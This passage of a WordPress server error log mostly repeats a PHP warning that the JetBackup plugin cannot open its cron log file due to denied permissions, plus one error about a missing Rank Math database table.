20:12:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:12:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:12:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:12:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:13:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:13:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:13:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:13:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:14:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:15:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:16:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:17:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:18:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:19:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:20:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:21:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:22:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:23:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:24:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:25:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:26:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:27:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:28:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:29:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:30:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:31:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:32:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:33:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:34:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:35:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:36:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:37:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:38:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:39:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:40:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:41:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:42:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:43:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:44:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:45:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:46:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:47:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:48:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:49:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:50:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:51:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:52:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:53:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:53:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:53:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:53:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:54:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:54:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:54:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:54:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:55:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:56:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:57:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:58:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:59:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:00:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:01:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:02:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:02:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:02:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:05:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:06:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:06:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:06:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:06:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:06:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:06:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:07:02 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [05-Jun-2026 21:07:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:07:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:07:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:07:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:07:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:07:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:08:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:08:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:08:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:08:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:08:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:08:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:09:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:09:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:09:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:09:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:09:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in 